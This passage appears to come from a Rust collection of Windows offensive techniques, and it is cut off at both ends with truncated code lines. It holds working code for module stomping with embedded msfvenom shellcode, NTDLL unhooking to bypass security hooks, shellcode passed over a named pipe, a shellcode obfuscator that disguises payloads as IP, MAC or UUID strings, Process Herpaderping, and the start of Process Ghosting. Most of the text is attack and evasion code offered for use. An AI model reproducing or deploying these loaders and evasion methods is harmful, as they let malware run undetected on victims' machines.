            ).map_err(|e| format!("VirtualProtect (3) F

            pe.section_header = (pe.section_header as u
        }
    }

    Ok(())
}

///
/// Readjust the arguments to be passed to the target b
///
fn fixing_arguments(args: &str) {
    let peb = unsafe { get_peb() };
    let process_parameters = unsafe { (*peb).ProcessPar
    unsafe {
        std::ptr::write_bytes((*process_parameters).Com

        let current_exe = std::env::current_exe().unwra
        let path_name: Vec<u16> = format!("\"{}\" {}\0"
            .encode_utf16()
            .collect();

        std::ptr::copy_nonoverlapping(path_name.as_ptr(
        (*process_parameters).CommandLine.Length = (pat
        (*process_parameters).CommandLine.MaximumLength
    }
}
```

▼ utils.rs

```
#![allow(non_snake_case)]
#![allow(non_camel_case_types)]

use ntapi::ntpebteb::{PEB, TEB};
use windows::Win32::{Foundation::{BOOL, HINSTANCE}, Sys
use std::arch::asm;
use std::ffi::c_void;

const IMAGE_ORDINAL_FLAG64: u64 = 0x8000000000000000;
pub type Exe = unsafe extern "system" fn() -> BOOL;
pub type Dll = unsafe extern "system" fn(HINSTANCE, u32

#[derive(Debug)]
pub struct PE {
    pub file_buffer: Vec<u8>,
    pub nt_header: *mut IMAGE_NT_HEADERS64,
    pub section_header: *mut IMAGE_SECTION_HEADER,
    pub entry_import_data: IMAGE_DATA_DIRECTORY,
    pub entry_basereloc_data: IMAGE_DATA_DIRECTORY,
    pub is_dll: bool,
}

#[derive(Debug, Clone, Copy)]
pub struct BASE_RELOCATION_ENTRY {
    pub data: u16,
}

impl BASE_RELOCATION_ENTRY {
    pub fn offset(&self) -> u16 {
        self.data & 0x0FFF
    }

    pub fn type_(&self) -> u16 {
        (self.data >> 12) & 0xF
    }
```

```
}

pub fn image_snap_by_ordinal(ordinal: u64) -> bool {
    ordinal & IMAGE_ORDINAL_FLAG64 != 0
}

pub fn image_ordinal(ordinal: u64) -> u64 {
    ordinal & 0xffff
}

pub unsafe fn get_peb() -> *mut PEB {
    let teb_offset = ntapi::FIELD_OFFSET!(NT_TIB, Self_

    #[cfg(target_arch = "x86_64")]
    {
        let teb = __readgsqword(teb_offset) as *mut TEB
        (*teb).ProcessEnvironmentBlock
    }

    #[cfg(target_arch = "x86")]
    {
        let teb = __readfsdword(teb_offset) as *mut TEB
        (*teb).ProcessEnvironmentBlock
    }
}

#[cfg(target_arch = "x86_64")]
unsafe fn __readgsqword(offset: u32) -> u64 {
    let output: u64;
    asm!(
        "mov {}, gs:[{:e}]",
        lateout(reg) output,
        in(reg) offset,
        options(nostack, pure, readonly),
    );
    output
```

```
}

#[cfg(target_arch = "x86")]
unsafe fn __readfsdword(offset: u32) -> u32 {
    let output: u32;
    asm!(
        "mov {:e}, fs:[{:e}]",
        lateout(reg) output,
        in(reg) offset,
        options(nostack, pure, readonly),
    );
    output
}
```

▼ Module Stomping

The Module Stomping technique focuses on injecting a shellcode into the entrypoint of the mapped or loaded DLL.

```
use ntapi::ntmmapi::{NtMapViewOfSection, ViewShare};
use std::ffi::c_void;
use std::ptr::null_mut;
use windows::{
    core::s,
    Wdk::Storage::FileSystem::NtCreateSection,
    Win32::{
        Foundation::{GENERIC_READ, HANDLE},
        Storage::FileSystem::{CreateFileA, FILE_ATTRIBUTE_
        System::{
            Diagnostics::Debug::IMAGE_NT_HEADERS64,
            Memory::{VirtualProtect, PAGE_PROTECTION_FLAGS
            Memory::{PAGE_EXECUTE_READWRITE, PAGE_READONLY
            SystemServices::{IMAGE_DOS_HEADER, IMAGE_NT_SI
            Threading::{CreateThread, THREAD_CREATION_FLAG
```

```
        },
    },
};

// msfvenom -p windows/x64/exec CMD=notepad.exe -f rust
const SHELLCODE: [u8; 279] = [
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00,
    0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60,
    0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a,
    0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1,
    0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42,
    0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48,
    0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
    0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac,
    0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08,
    0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
    0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0,
    0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec,
    0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01,
    0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a,
    0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda,
    0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00,
];

fn main() {
    let address = load_file().expect("[!] load_file Failed
    let module = address.0;
    let entry_point = address.1;
    println!("[+] Base Address: {:?}", module);
    println!("[+] AddressOfEntryPoint: {:?}", entry_point)

    unsafe {
        println!("[+] Changing protection from AddressOfEn
        let mut old_protect = PAGE_PROTECTION_FLAGS(0);
```

```
        VirtualProtect(entry_point,SHELLCODE.len(),PAGE_RE

        println!("[+] Copying Shellcode to AddressOfEntryP
        std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr(),

        println!("[+] Back to the old protection");
        VirtualProtect(entry_point, SHELLCODE.len(), old_p

        CreateThread(None,0,Some(std::mem::transmute(entry

        println!("[+] Shellcode Executed!!!");
        std::thread::sleep(std::time::Duration::from_secs(

    };
}

fn load_file() -> Result<(*mut c_void, *mut c_void), Strin
    unsafe {
        let h_file = CreateFileA(
            s!("C:\\Windows\\System32\\user32.dll"),
            GENERIC_READ.0,
            FILE_SHARE_MODE(0),
            None,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            None,
        ).expect("CreateFile Failed With Status");

        let mut section = HANDLE::default();
        let status = NtCreateSection(
            &mut section,
            SECTION_ALL_ACCESS.0,
            None,
            None,
            PAGE_READONLY.0,
            SEC_IMAGE.0,
```

```
            h_file,
        );

        if status.is_err() {
            return Err("[!] NtCreateSection Failed".to_str
        }

        let mut mapped_module: *mut ntapi::winapi::ctypes:
        let mut view_size = 0;
        let status = NtMapViewOfSection(
            section.0 as _,
            0xffffffffffffffffu64 as _,
            &mut mapped_module,
            0,
            0,
            null_mut(),
            &mut view_size,
            ViewShare,
            0,
            PAGE_EXECUTE_READWRITE.0,
        );

        if status != 0 {
            return Err("[!] NtMapViewOfSection Failed".to_
        }

        let dos_header = mapped_module as *mut IMAGE_DOS_H
        let nt_header = (mapped_module as usize + (*dos_he
        if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
            return Err("IMAGE SIGNATURE INVALID".to_string
        }

        let entry_point = (mapped_module as usize + (*nt_h
        Ok((mapped_module as *mut c_void, entry_point))
```

```
    }
}
```

▼ NTDLL Unhooking

Running NTDLL Unhooking through a suspended process.

/cdo

```
use ntapi::{
    ntldr::LDR_DATA_TABLE_ENTRY,
    ntpebteb::{PEB, TEB},
    winapi::ctypes::c_void,
};
use std::{arch::asm, ffi::CString, panic, ptr::null_mut};
use windows::{
    core::PSTR,
    Win32::System::{
        Diagnostics::Debug::{ReadProcessMemory, IMAGE_NT_H
        Kernel::NT_TIB,
        Memory::{GetProcessHeap, HeapAlloc, VirtualProtect
        SystemServices::{IMAGE_DOS_HEADER, IMAGE_DOS_SIGNA
        Threading::{CreateProcessA, CREATE_SUSPENDED, PROC
    },
};

fn main() {
    unsafe { ntdll_unhooking() };
}

unsafe fn ntdll_unhooking() {
    let process = CString::new("C:\\Windows\\System32\\cal
    let address_ntdll = ntdll_local_address("ntdll.dll".to

    let mut startup_info = STARTUPINFOA::default();
    startup_info.cb = std::mem::size_of::<STARTUPINFOA>()
```

```
    let mut process_information = PROCESS_INFORMATION::def
    CreateProcessA(
        None,
        PSTR(process),
        None,
        None,
        false,
        CREATE_SUSPENDED,
        None,
        None,
        &startup_info,
        &mut process_information,
    ).unwrap_or_else(|e| panic!("[!] CreateProcessA Failed

    let dos_header = address_ntdll as *mut IMAGE_DOS_HEADE
    if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
        panic!("[!] INVALID DOS SIGNATURE");
    }

    let nt_header = ((*dos_header).e_lfanew as usize + add
    if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
        panic!("[!] INVALID NT SIGNATURE");
    }

    let size_ntdll = (*nt_header).OptionalHeader.SizeOfIma
    let buffer_ntdll = HeapAlloc(GetProcessHeap().unwrap()
    let mut return_len = 0;
    ReadProcessMemory(
        process_information.hProcess,
        address_ntdll as _,
        buffer_ntdll,
        size_ntdll as usize,
        Some(&mut return_len),
    ).unwrap_or_else(|e| panic!("[!] ReadProcessMemory Fai

    let section_header =  (nt_header as usize + std::mem::
```

```
    let mut tmp_nt_local = null_mut();
    let mut tmp_nt_process = null_mut();
    let mut ntdll_txt_size: usize = 0;

    for i in 0..(*nt_header).FileHeader.NumberOfSections {
        let section = (*section_header.add(i.into())).Name
        let name = std::str::from_utf8(&section).unwrap().
        if name == ".text" {
            tmp_nt_local = (address_ntdll as usize + (*sec
            tmp_nt_process =  (buffer_ntdll as usize + (*s
            ntdll_txt_size = (*section_header.add(i.into()
        }
    }

    println!("NTDLL HOOKED ADDRESS: {:?}", tmp_nt_local);
    println!("NTDLL UNHOOKED ADDRESS: {:?}", tmp_nt_proces

    let mut old_protect = PAGE_PROTECTION_FLAGS(0);
    VirtualProtect(
        tmp_nt_local,
        ntdll_txt_size,
        PAGE_EXECUTE_WRITECOPY,
        &mut old_protect
    ).unwrap_or_else(|e| panic!("[!] VirtualProtect Failed

    std::ptr::copy_nonoverlapping(tmp_nt_process, tmp_nt_l

    VirtualProtect(
        tmp_nt_local,
        ntdll_txt_size,
        old_protect,
        &mut old_protect
    ).unwrap_or_else(|e| panic!("[!] VirtualProtect (2) Fa

    println!("[+] FINISH :)")
}
```

```
unsafe fn ntdll_local_address(dll: String) -> Result<*mut
    let peb = get_peb();
    let ldr = (*peb).Ldr;
    let mut list_entry = (*ldr).InLoadOrderModuleList.Flin

    while !(*list_entry).DllBase.is_null() {
        let buffer = std::slice::from_raw_parts(
            (*list_entry).BaseDllName.Buffer,
            ((*list_entry).BaseDllName.Length / 2) as usiz
        );
        let dll_name = String::from_utf16(&buffer)
            .unwrap()
            .to_string()
            .to_lowercase();

        if dll.to_lowercase() == dll_name {
            return Ok((*list_entry).DllBase);
        }

        list_entry = (*list_entry).InLoadOrderLinks.Flink
    }

    Err(())
}

unsafe fn get_peb() -> *mut PEB {
    let teb_offset = ntapi::FIELD_OFFSET!(NT_TIB, Self_) a

    #[cfg(target_arch = "x86_64")]
    {
        let teb = __readgsqword(teb_offset) as *mut TEB;
        return (*teb).ProcessEnvironmentBlock;
    }

    #[cfg(target_arch = "x86")]
```

```
    {
        let teb = __readfsdword(teb_offset) as *mut TEB;
        return (*teb).ProcessEnvironmentBlock;
    }
}

#[cfg(target_arch = "x86_64")]
unsafe fn __readgsqword(offset: u32) -> u64 {
    let output: u64;
    asm!(
        "mov {}, gs:[{:e}]",
        lateout(reg) output,
        in(reg) offset,
        options(nostack, pure, readonly),
    );
    output
}

#[cfg(target_arch = "x86")]
unsafe fn __readfsdword(offset: u32) -> u32 {
    let output: u32;
    asm!(
        "mov {:e}, fs:[{:e}]",
        lateout(reg) output,
        in(reg) offset,
        options(nostack, pure, readonly),
    );
    output
}
```

▼ Named Pipe Server / Client

A simple project showing how we can communicate between processes using named pipes.

▼ client.rs

```
use windows::{
    core::s,
    Win32::{
        Foundation::{CloseHandle, GENERIC_READ, GENERIC
        Storage::FileSystem::{
            CreateFileA, WriteFile, FILE_FLAGS_AND_ATTR
        },
    },
};

fn main() {
    unsafe {
        let h_file = CreateFileA(
            s!("\\\\.\\pipe\\Teste"),
            GENERIC_READ.0 | GENERIC_WRITE.0,
            FILE_SHARE_MODE(0),
            None,
            OPEN_EXISTING,
            FILE_FLAGS_AND_ATTRIBUTES(0),
            None,
        ).unwrap_or_else(|e| panic!("[!] CreateFileA Fa

        let buffer_write: [u8; 276] = [
            0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0
            0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0
            0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0
            0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0
            0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0
            0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0
            0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0
            0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0
            0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0
            0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0
            0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0
            0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0
```

```
            0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0
            0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0
            0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0
            0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0
            0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0
            0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0
            0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0
            0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0
        ];

        let mut number_return = 0;
        WriteFile(h_file, Some(&buffer_write), Some(&mu

        CloseHandle(h_file);
    }
}
```

▼ server.rs

```
use windows::core::s;
use windows::Win32::Foundation::CloseHandle;
use windows::Win32::Storage::FileSystem::{ReadFile, PIP
use windows::Win32::System::Pipes::{
    ConnectNamedPipe, CreateNamedPipeA, PIPE_READMODE_M
    PIPE_UNLIMITED_INSTANCES, PIPE_WAIT,
};

fn main() {
    unsafe {
        let h_pipe = CreateNamedPipeA(
            s!("\\\\.\\pipe\\Teste"),
            PIPE_ACCESS_DUPLEX,
            PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE |
            PIPE_UNLIMITED_INSTANCES,
            2044,
```

```
            2044,
            0,
            None,
        )
        .unwrap_or_else(|e| {
            panic!("[!] CreateNamedPipeA Failed With Er
        });

        let mut number_return = 0;

        println!("[+] Waiting For Data");
        ConnectNamedPipe(h_pipe, None).unwrap_or_else(|

        let mut buffer = [0u8; 276];

        ReadFile(h_pipe, Some(&mut buffer), Some(&mut n

        println!("{:?}", buffer);

        CloseHandle(h_pipe);
    }
}
```

▼ Obfuscation Shellcode

Shellcode obfuscation using IPV4, IPV6, MAC and UUIDs.

▼ ipv4

▼ mod.rs

```
use std::net::Ipv4Addr;

pub fn deobfuscate_ipv4(list_ips: Vec<&str>) -> Resu
    let mut deobfuscated_ips: Vec<u8> = Vec::with_ca

    for ip in list_ips {
```

```
        match ip.parse::<Ipv4Addr>() {
            Ok(ip_addr) => {
                deobfuscated_ips.extend_from_slice(&
            }
            Err(_) => {
                return Err(());
            }
        }
    }
    Ok(deobfuscated_ips)
}

pub fn obfuscate_ipv4(shellcode: &mut Vec<u8>) {
    if shellcode.len() % 4 != 0 {
        while shellcode.len() % 4 != 0 {
            shellcode.push(0);
        }
    }
    println!("let shellcode = vec![");
    for chunk in shellcode.chunks(4) {
        let ip = format!("{}.{}.{}.{}", chunk[0], ch
        print!("{:?},\n", ip);
    }
    println!("];\n")
}
```

▼ ipv6

▼ mod.rs

```
use std::net::Ipv6Addr;

pub fn deobfuscate_ipv6(list_ips: Vec<&str>) -> Resu
    let mut deobfuscated_ips: Vec<u8> = Vec::with_ca

    for ip in list_ips {
```

```
        match ip.parse::<Ipv6Addr>() {
            Ok(ip_addr) => {
                for segment in ip_addr.segments() {
                    deobfuscated_ips.extend_from_sli
                }
            }
            Err(_) => {
                return Err(());
            }
        }
    }

    Ok(deobfuscated_ips)
}

pub fn obfuscate_ipv6(shellcode: &mut Vec<u8>) {
    if shellcode.len() % 16 != 0 {
        while shellcode.len() % 16 != 0 {
            shellcode.push(0);
        }
    }

    println!("let shellcode = vec![");
    for chunk in shellcode.chunks(16) {
        let ip = format!(
            "{:02x}{:02x}:{:02x}{:02x}:{:02x}{:02x}:
            chunk[0], chunk[1], chunk[2], chunk[3],
            chunk[8], chunk[9], chunk[10], chunk[11]
        );
        println!("{:?},", ip);
    }
    println!("];")
}
```

▼ mac

▼ mod.rs

```
pub fn deobfuscate_mac(mac_addresses: Vec<&str>) ->
    let original_ints: Vec<u8> = mac_addresses
        .iter()
        .flat_map(|mac| {
            mac.split(':')
                .map(|byte_str| u8::from_str_radix(b
                .collect::<Vec<u8>>()
        })
        .collect();

    Ok(original_ints)
}

pub fn obfuscate_mac(shellcode: &mut Vec<u8>) {
    println!("let shellcode = vec![");

    let mac_addresses: Vec<String> = shellcode
        .chunks(6)
        .map(|chunk| {
            chunk
                .iter()
                .map(|byte| format!("{:02X}", byte))
                .collect::<Vec<String>>()
                .join(":")
        })
        .collect();

    for mac in &mac_addresses {
        print!("\"{}\",\n", mac);
    }

    println!("];")
}
```

▼ uuid

▼ mod.rs

```
use uuid::Uuid;

pub fn deobfuscate_uuid(list_uuid: Vec<&str>) -> Res
    let mut desofuscated_bytes = Vec::new();

    for uuid_str in list_uuid {
        match Uuid::parse_str(uuid_str) {
            Ok(uuid) => {
                desofuscated_bytes.extend_from_slice
            }
            Err(_) => return Err(()),
        }
    }

    Ok(desofuscated_bytes)
}

pub fn obfuscate_uuid(shellcode: &mut Vec<u8>) {
    println!("let shellcode = vec![");
    let uuids: Vec<Uuid> = shellcode
        .chunks(16)
        .map(|chunk| {
            let mut array = [0; 16];
            for (i, &byte) in chunk.iter().enumerate
                array[i] = byte;
            }
            Uuid::from_bytes(array)
        })
        .collect();

    for uuid in &uuids {
        print!("\"{}\",\n", uuid);
```

```
    }

    println!("];")
}
```

▼ words

▼ mod.rs

```
pub fn deobfuscate_words(words: Vec<&str>, dataset:
    let mut shellcode: Vec<u8> = vec![0; words.len()
    for sc_index in 0..shellcode.len() {
        for tt_index in 0..256 {
            if dataset[tt_index] == words[sc_index]
                shellcode[sc_index] = tt_index as u8
                break;
            }
        }
    }
    shellcode
}

pub fn obfuscate_words(shellcode: &mut Vec<u8>) {
    let dataset: Vec<&str> = vec!["ironside", "chyli
    let length = shellcode.len();
    let mut words: Vec<&str> = vec![""; length];

    for index in 0..length {
        words[index] = dataset[shellcode[index] as u
    }

    for index in 0..length {
        println!("{}", words[index]);
    }
}
```

▼ main.rs

```
mod ipv4;
mod ipv6;
mod mac;
mod utils;
mod uuid;
mod words;

use clap::Parser;
use ipv4::obfuscate_ipv4;
use ipv6::obfuscate_ipv6;
use mac::obfuscate_mac;
use uuid::obfuscate_uuid;
use words::obfuscate_words;
use std::{fs::File, io::Read};
use utils::{Args, Obfuscation};


fn main() -> std::io::Result<()> {
    let args = Args::parse();
    let file = args.file;
    let technique = args.technique;
    let mut shellcode = File::open(file)?;
    let mut buffer: Vec<u8> = Vec::new();
    shellcode.read_to_end(&mut buffer)?;

    match technique {
        Obfuscation::IPV4 => {
            obfuscate_ipv4(&mut buffer);
        }
        Obfuscation::IPV6 => {
            obfuscate_ipv6(&mut buffer);
        },
        Obfuscation::MAC => {
            obfuscate_mac(&mut buffer);
```

```
        }
        Obfuscation::UUID => {
            obfuscate_uuid(&mut buffer);
        },
        Obfuscation::WORDS => {
            obfuscate_words(&mut buffer);
        },
    };

    Ok(())
}
```

▼ utils.rs

```
#[derive(clap::Parser)]
#[clap(name="obfuscation", author="joaojj)", version="1
pub struct Args {
    #[clap(short, long, required = true, help = "Insert
    pub file: String,

    #[clap(short, long, required = true, help = "Insert
    pub technique: Obfuscation,
}

#[derive(clap::ValueEnum, Clone, Debug)]
pub enum Obfuscation {
    IPV4,
    IPV6,
    MAC,
    UUID,
    WORDS,
}
```

▼ P

▼ Process Herpaderping

Obscuring the intentions of a process by modifying the contents of the disk after the image has been mapped.

```
use std::{
    fs::OpenOptions,
    io::{self, Write},
    panic,
    ptr::null_mut,
};
use ntapi::{
    ntmmapi::{NtAllocateVirtualMemory, NtCreateSection, Nt
    ntpebteb::PEB,
    ntpsapi::*,
    ntrtl::*,
};
use widestring::U16CString;
use winapi::{
    ctypes::c_void,
    shared::ntdef::{HANDLE, NT_SUCCESS, UNICODE_STRING},
    um::{
        fileapi::{CreateFileW, FlushFileBuffers, GetTempFi
        handleapi::CloseHandle,
        processthreadsapi::GetProcessId,
        userenv::CreateEnvironmentBlock,
        winnt::*,
    },
};

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let args: Vec<String> = std::env::args().collect();

    if args.len() != 4 {
        panic!("Usage: process_herpaderping.exe <file.exe>
    }

    let buffer = std::fs::read(&args[1])?;
```

```
    let dir_temp = U16CString::from_str(std::env::temp_dir
    let prefix = U16CString::from_str("TT")?;
    let mut temp_file_name: Vec<u16> = vec![0; 256];

    unsafe { GetTempFileNameW(dir_temp.as_ptr(), prefix.as

    let file = String::from_utf16(&temp_file_name).unwrap(
    let path_nt = format!(r"{}", file.trim_matches('\0'));
    println!("[+] PATH TEMP: {}", path_nt);

    create_section_file(path_nt, buffer, dir_temp.to_strin

    Ok(())
}

fn create_section_file(
    path_temp: String,
    buffer: Vec<u8>,
    dir_temp: String,
    args: &String,
    file_path: &String
) -> Result<(), Box<dyn std::error::Error>> {

    let mut dest_file = OpenOptions::new()
        .write(true)
        .truncate(true)
        .open(&path_temp)?;

    dest_file.write_all(&buffer)?;
    dest_file.flush()?;

    let path_name = U16CString::from_str(&path_temp).unwra
    let h_file = unsafe {
        CreateFileW(
            path_name.as_ptr() as _,
            GENERIC_READ | GENERIC_WRITE,
```

```
            FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHAR
            null_mut(),
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            null_mut(),
        )
    };

    if h_file.is_null() {
        panic!("[!] CreateFileW Failed");
    }

    let mut h_section = null_mut();
    let mut status = unsafe {
        NtCreateSection(
            &mut h_section,
            SECTION_ALL_ACCESS,
            null_mut(),
            null_mut(),
            PAGE_READONLY,
            SEC_IMAGE,
            h_file,
        )
    };

    if !NT_SUCCESS(status) {
        panic!("[!] NtCreateSection Failed With Status: {}
    }

    let mut h_process = null_mut();
    status = unsafe {
        NtCreateProcessEx(
            &mut h_process,
            PROCESS_ALL_ACCESS,
            null_mut(),
            NtCurrentProcess,
```

```
            PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
            h_section,
            null_mut(),
            null_mut(),
            0,
        )
    };

    if !NT_SUCCESS(status) {
        panic!("[!] NtCreateProcessEx Failed With Status:
    }

    unsafe { println!("[+] Process Herpaderping PID: {}",
    unsafe { CloseHandle(h_section) };

    process_herpaderping(h_file, file_path)?;

    let base_address = init_params(h_process, path_temp, d
    let address_entrypoint = search_entrypoint(&buffer)?;
    let entry_point = ((base_address as usize) + address_e

    let mut h_thread = null_mut();
    status = unsafe {
        NtCreateThreadEx(
            &mut h_thread,
            THREAD_ALL_ACCESS,
            null_mut(),
            h_process,
            entry_point,
            null_mut(),
            0,
            0,
            0,
            0,
            null_mut(),
        )
```

```
    };

    if !NT_SUCCESS(status) {
        panic!("[!] NtCreateThreadEx Failed With Status: {
    }

    Ok(())
}

fn process_herpaderping(h_file: HANDLE, file_path: &String
    let buffer = std::fs::read(format!("{file_path}"))?; /
    let mut number_of_write = 0;
    unsafe {
        WriteFile(
            h_file,
            buffer.as_ptr() as _,
            buffer.len() as u32,
            &mut number_of_write,
            null_mut(),
        )
    };
    unsafe { FlushFileBuffers(h_file) };
    unsafe { SetEndOfFile(h_file) };

    Ok(())
}

///
/// Updating RTL_USER_PROCESS_PARAMETERS to start the proc
///
fn init_params(
    h_process: HANDLE,
    path_temp: String,
    dir_temp: String,
    args: &String
) -> Result<*mut c_void, String> {
```

```
    let command_line = U16CString::from_str(format!("{path
    let current_directory = U16CString::from_str(dir_temp)
    let image_path = U16CString::from_str(path_temp).unwra

    let mut user_proc_params: PRTL_USER_PROCESS_PARAMETERS
    let mut process_basic_information: PROCESS_BASIC_INFOR
    let mut peb: PEB = unsafe { std::mem::zeroed() };

    let mut enviroment = null_mut();
    unsafe { CreateEnvironmentBlock(&mut enviroment, null_

    let mut u_command_line: UNICODE_STRING = unsafe { std:
    let mut u_current_directory: UNICODE_STRING = unsafe {
    let mut u_image_path: UNICODE_STRING = unsafe { std::m

    unsafe {
        RtlInitUnicodeString(&mut u_command_line, command_
        RtlInitUnicodeString(&mut u_current_directory, cur
        RtlInitUnicodeString(&mut u_image_path, image_path
    };

    let mut status = unsafe {
        RtlCreateProcessParametersEx(
            &mut user_proc_params,
            &mut u_image_path,
            null_mut(),
            &mut u_current_directory,
            &mut u_command_line,
            enviroment,
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            RTL_USER_PROC_PARAMS_NORMALIZED,
        )
    };
```

```
    if !NT_SUCCESS(status) {
        return Err(format!("[!] RtlCreateProcessParameters
    }

    status = unsafe {
        NtQueryInformationProcess(
            h_process,
            ProcessBasicInformation,
            &mut process_basic_information as *mut _ as *m
            std::mem::size_of::<PROCESS_BASIC_INFORMATION>
            null_mut(),
        )
    };

    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtQueryInformationProcess
    }

    status = unsafe {
        NtReadVirtualMemory(
            h_process,
            process_basic_information.PebBaseAddress as *m
            &mut peb as *mut _ as *mut c_void,
            std::mem::size_of::<PEB>(),
            null_mut(),
        )
    };

    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtReadVirtualMemory Failed
    }

    println!("[+] Address PEB: {:?}", process_basic_inform

    let mut user_proc_base = user_proc_params as usize;
```

```
    let mut user_proc_end = unsafe { (user_proc_params as
    unsafe {
        if !(*user_proc_params).Environment.is_null() {
            if user_proc_params as usize > (*user_proc_par
                user_proc_base = (*user_proc_params).Envir
            }

            if ((*user_proc_params).Environment as usize)
                user_proc_end = ((*user_proc_params).Envir
            }
        }
    }

    let mut size_param = user_proc_end - user_proc_base;
    let mut base_address = user_proc_params as *mut c_void

    status = unsafe {
        NtAllocateVirtualMemory(
            h_process,
            &mut base_address,
            0,
            &mut size_param,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        )
    };

    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtAllocateVirtualMemory Fa
    }

    let mut number_of_write = 0;
    status = unsafe {
        NtWriteVirtualMemory(
            h_process,
            user_proc_params as *mut c_void,
```

```
            user_proc_params as *mut c_void,
            (*user_proc_params).Length as usize,
            &mut number_of_write,
        )
    };

    if !NT_SUCCESS(status) {
        return Err(format!("[!] NtWriteVirtualMemory Faile
    }

    unsafe {
        if !(*user_proc_params).Environment.is_null() {
            status = NtWriteVirtualMemory(
                h_process,
                (*user_proc_params).Environment,
                (*user_proc_params).Environment,
                (*user_proc_params).EnvironmentSize,
                &mut number_of_write,
            );

            if !NT_SUCCESS(status) {
                return Err(format!("[!] NtWriteVirtualMemo
            }
        }

        let peb_base_address: *mut PEB = process_basic_inf
        let remote_process_parameters_address = &mut (*peb

        status = NtWriteVirtualMemory(
            h_process,
            remote_process_parameters_address,
            &user_proc_params as *const _ as *mut c_void,
            std::mem::size_of::<*mut c_void>(),
            &mut number_of_write,
        );
```

```
        if !NT_SUCCESS(status) {
            return Err(format!("[!] NtWriteVirtualMemory [
        }
    }

    Ok(peb.ImageBaseAddress)
}

fn search_entrypoint(buffer: &[u8]) -> Result<usize, Strin
    unsafe {
        let dos_header = buffer.as_ptr() as *mut IMAGE_DOS
        let nt_header = (dos_header as usize + (*dos_heade
        if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
            return Err("[!] IMAGE NT SIGNATURE INVALID".to
        }

        Ok((*nt_header).OptionalHeader.AddressOfEntryPoint
    }
}
```

▼ Process Ghosting

Loading a PE file using the Process Ghosting technique.

```
use std::{mem::size_of, ptr::null_mut, env::args, fs::read
use widestring::U16CString;
use ntapi::{
    ntioapi::*,
    ntmmapi::{NtAllocateVirtualMemory, NtCreateSection, Nt
    ntobapi::NtClose,
    ntpebteb::PEB,
    ntpsapi::*,
    ntrtl::*,
};
use winapi::{
```

```
    ctypes::c_void,
    shared::ntdef::{InitializeObjectAttributes, HANDLE, NT
    um::{fileapi::GetTempFileNameW, processthreadsapi::Get
};

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let args: Vec<String> = args().collect();
    let buffer = read(&args[1]).map_err(|e| format!("[!] E
    let dir_temp = U16CString::from_str(std::env::temp_dir
    let prefix = U16CString::from_str("TT")?;
    let mut temp_file_name: Vec<u16> = vec![0; 256];

    unsafe { GetTempFileNameW(dir_temp.as_ptr(), prefix.as

    let file = String::from_utf16(&temp_file_name).unwrap(
    let path_nt = format!(r"\??\{}", file.trim_matches('\0
